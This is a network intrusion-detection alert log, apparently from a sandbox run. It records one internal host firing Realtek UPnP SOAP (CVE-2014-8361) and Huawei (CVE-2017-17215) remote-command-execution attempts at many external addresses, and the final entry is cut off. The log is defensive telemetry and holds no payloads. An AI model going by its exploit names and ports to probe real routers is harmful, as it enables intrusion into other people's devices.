Timestamp:	07/20/24-23:01:08.638879
SID:	2027339
Source Port:	56182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.117.11.208

Timestamp:	07/20/24-23:02:00.006558
SID:	2831300
Source Port:	60958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 25.68.235.59

Timestamp:	07/20/24-23:01:08.572790
SID:	2831300
Source Port:	36436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.112.61.164

Timestamp:	07/20/24-23:01:44.338159
SID:	2027339
Source Port:	49602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.212.80.61

Timestamp:	07/20/24-23:01:44.484128
SID:	2027339
Source Port:	38784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.193.168

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	59012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.186.31.24

Timestamp:	07/20/24-23:01:48.177682
SID:	2831300
Source Port:	58450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.254.9.54

Timestamp:	07/20/24-23:01:07.062666
SID:	2835222
Source Port:	41676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.225.243.103

Timestamp:	07/20/24-23:01:47.692050
SID:	2025132
Source Port:	42114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.167.188.131

Timestamp:	07/20/24-23:01:02.046626
SID:	2829579
Source Port:	35136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.241.189.22

Timestamp:	07/20/24-23:01:50.798234
SID:	2025132
Source Port:	56576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 184.112.202.180

Timestamp:	07/20/24-23:01:08.565610
SID:	2831300
Source Port:	60398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.229.44.248

Timestamp:	07/20/24-23:01:08.567236
SID:	2027339
Source Port:	57386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.125.8.233

Timestamp:	07/20/24-23:01:12.806839
SID:	2027339
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.199.35.177

Timestamp:	07/20/24-23:01:47.943232
SID:	2027339
Source Port:	39244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.229.191

Timestamp:	07/20/24-23:01:40.334452
SID:	2835222
Source Port:	38912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.158.44.47

Timestamp:	07/20/24-23:02:02.537098
SID:	2025132
Source Port:	41216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.23.56.129

Timestamp:	07/20/24-23:00:59.203960
SID:	2829579
Source Port:	54948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 200.2.226.98

Timestamp:	07/20/24-23:01:43.160211
SID:	2027339
Source Port:	38978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.63.61.192

Timestamp:	07/20/24-23:01:02.048214
SID:	2025132
Source Port:	50834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 153.94.71.254

Timestamp:	07/20/24-23:01:08.691384
SID:	2831300
Source Port:	46394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.41.115.0

Timestamp:	07/20/24-23:01:02.076414
SID:	2829579
Source Port:	58904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.13.194.92

Timestamp:	07/20/24-23:01:59.643531
SID:	2027339
Source Port:	44200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.126.99.183

Timestamp:	07/20/24-23:01:43.443111
SID:	2831300
Source Port:	50606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.60.94.64

Timestamp:	07/20/24-23:01:47.805449
SID:	2027339
Source Port:	44524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.10.206.42

Timestamp:	07/20/24-23:01:49.615311
SID:	2025132
Source Port:	48022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.124.104.253

Timestamp:	07/20/24-23:01:20.591863
SID:	2831300
Source Port:	46382
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.193.90.160

Timestamp:	07/20/24-23:01:54.515976
SID:	2027339
Source Port:	60950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.203.112.129

Timestamp:	07/20/24-23:01:42.285526
SID:	2027339
Source Port:	43896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.41.96.136

Timestamp:	07/20/24-23:00:57.222139
SID:	2829579
Source Port:	50028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.42.191.231

Timestamp:	07/20/24-23:01:41.263140
SID:	2027339
Source Port:	47540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.103.164.103

Timestamp:	07/20/24-23:01:49.254553
SID:	2025132
Source Port:	48726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.67.37.89

Timestamp:	07/20/24-23:01:11.634372
SID:	2829579
Source Port:	55954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.136.152.193

Timestamp:	07/20/24-23:01:11.816521
SID:	2835222
Source Port:	42760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.190.148.15

Timestamp:	07/20/24-23:01:05.033018
SID:	2027339
Source Port:	45276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.201.63.165

Timestamp:	07/20/24-23:01:57.321432
SID:	2027339
Source Port:	47342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.16.105.104

Timestamp:	07/20/24-23:01:02.047411
SID:	2829579
Source Port:	47744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.215.110.183

Timestamp:	07/20/24-23:01:44.766696
SID:	2025132
Source Port:	57578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.21.74

Timestamp:	07/20/24-23:01:31.975107
SID:	2829579
Source Port:	46984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.161.8.187

Timestamp:	07/20/24-23:01:31.322217
SID:	2027339
Source Port:	52702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.206.45.101

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	48132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.191.241.94

Timestamp:	07/20/24-23:01:54.642694
SID:	2027339
Source Port:	36822
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 145.149.22.179

Timestamp:	07/20/24-23:01:00.641498
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.129.214.239

Timestamp:	07/20/24-23:01:11.816074
SID:	2829579
Source Port:	39208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.115.164.104

Timestamp:	07/20/24-23:01:47.693711
SID:	2027339
Source Port:	37946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.100.137

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	58132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.33.116.164

Timestamp:	07/20/24-23:01:03.083161
SID:	2027339
Source Port:	52478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 61.169.227.46

Timestamp:	07/20/24-23:01:42.985200
SID:	2025132
Source Port:	48740
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.200.88.148

Timestamp:	07/20/24-23:01:55.851237
SID:	2831300
Source Port:	53532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.70.28

Timestamp:	07/20/24-23:01:34.044152
SID:	2829579
Source Port:	34678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.107.86.189

Timestamp:	07/20/24-23:00:57.220833
SID:	2829579
Source Port:	33462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.231.160

Timestamp:	07/20/24-23:01:20.140632
SID:	2835222
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.59.131.231

Timestamp:	07/20/24-23:01:43.906353
SID:	2027339
Source Port:	49662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.164.103

Timestamp:	07/20/24-23:01:14.103467
SID:	2829579
Source Port:	55324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.185.15.35

Timestamp:	07/20/24-23:01:42.466150
SID:	2027339
Source Port:	58916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.119.134.177

Timestamp:	07/20/24-23:02:20.036130
SID:	2027339
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.27.111.80

Timestamp:	07/20/24-23:01:46.247879
SID:	2027339
Source Port:	45630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.223.177.47

Timestamp:	07/20/24-23:01:47.383355
SID:	2831300
Source Port:	44096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.98.54.155

Timestamp:	07/20/24-23:01:42.603963
SID:	2025132
Source Port:	55590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.105.181.156

Timestamp:	07/20/24-23:01:25.476673
SID:	2025132
Source Port:	39008
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.24.147.38

Timestamp:	07/20/24-23:01:45.713934
SID:	2025132
Source Port:	60998
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.59.116.210

Timestamp:	07/20/24-23:01:00.633810
SID:	2835222
Source Port:	40002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.170.33.89

Timestamp:	07/20/24-23:01:08.609855
SID:	2831300
Source Port:	60378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.89.53

Timestamp:	07/20/24-23:01:11.632393
SID:	2835222
Source Port:	38378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.187.1.61

Timestamp:	07/20/24-23:00:59.157444
SID:	2835222
Source Port:	44268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.161.142.144

Timestamp:	07/20/24-23:01:08.650213
SID:	2831300
Source Port:	44102
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.93.73.144

Timestamp:	07/20/24-23:01:50.901722
SID:	2025132
Source Port:	58344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.26.212.186

Timestamp:	07/20/24-23:01:20.140632
SID:	2835222
Source Port:	43374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.248.242.20

Timestamp:	07/20/24-23:01:47.028157
SID:	2025132
Source Port:	54620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.203.126.251

Timestamp:	07/20/24-23:01:41.280928
SID:	2025132
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.78.178.94

Timestamp:	07/20/24-23:01:53.392805
SID:	2027339
Source Port:	54570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.124.10.6

Timestamp:	07/20/24-23:02:43.072508
SID:	2027339
Source Port:	43146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.135.26.34

Timestamp:	07/20/24-23:01:42.617689
SID:	2027339
Source Port:	60852
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.221.8.145

Timestamp:	07/20/24-23:01:55.105161
SID:	2831300
Source Port:	40212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 88.106.127.51

Timestamp:	07/20/24-23:01:31.991548
SID:	2835222
Source Port:	44750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.138.19.167

Timestamp:	07/20/24-23:01:46.561347
SID:	2027339
Source Port:	53114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.159.127.103

Timestamp:	07/20/24-23:01:42.670071
SID:	2025132
Source Port:	55124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.147.42.76

Timestamp:	07/20/24-23:02:41.032515
SID:	2027339
Source Port:	44618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 105.15.118.157

Timestamp:	07/20/24-23:01:00.654988
SID:	2835222
Source Port:	35058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.96.29.107

Timestamp:	07/20/24-23:01:42.930628
SID:	2027339
Source Port:	40272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 144.93.159.93

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	37222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.103.140.112

Timestamp:	07/20/24-23:01:41.620386
SID:	2027339
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 220.87.191.244

Timestamp:	07/20/24-23:01:31.317774
SID:	2831300
Source Port:	51874
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.24.223.164

Timestamp:	07/20/24-23:01:45.048479
SID:	2831300
Source Port:	56034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.247.167

Timestamp:	07/20/24-23:01:11.630769
SID:	2835222
Source Port:	57592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.101.23.241

Timestamp:	07/20/24-23:01:43.415157
SID:	2025132
Source Port:	33562
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.32.208.135

Timestamp:	07/20/24-23:01:13.300689
SID:	2025132
Source Port:	40112
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.166.243.209

Timestamp:	07/20/24-23:01:51.063023
SID:	2025132
Source Port:	40454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 175.193.29.172

Timestamp:	07/20/24-23:00:57.221504
SID:	2829579
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.208.129

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	33424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.60.195

Timestamp:	07/20/24-23:01:11.817771
SID:	2835222
Source Port:	59020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.30.155.108

Timestamp:	07/20/24-23:01:20.096752
SID:	2835222
Source Port:	38924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 74.130.124.117

Timestamp:	07/20/24-23:01:45.196200
SID:	2025132
Source Port:	33894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.50.33.70

Timestamp:	07/20/24-23:01:47.987185
SID:	2027339
Source Port:	50506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.79.134.29

Timestamp:	07/20/24-23:02:20.472956
SID:	2027339
Source Port:	37844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.118.145

Timestamp:	07/20/24-23:01:07.061779
SID:	2835222
Source Port:	37316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.208.170.61

Timestamp:	07/20/24-23:01:04.989160
SID:	2025132
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 174.188.105.70

Timestamp:	07/20/24-23:01:20.157620
SID:	2829579
Source Port:	48022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.89.64.185

Timestamp:	07/20/24-23:01:42.462291
SID:	2027339
Source Port:	46370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.218.170.227

Timestamp:	07/20/24-23:01:42.817395
SID:	2831300
Source Port:	35392
Destination Port:	52869
Protocol:	TCP
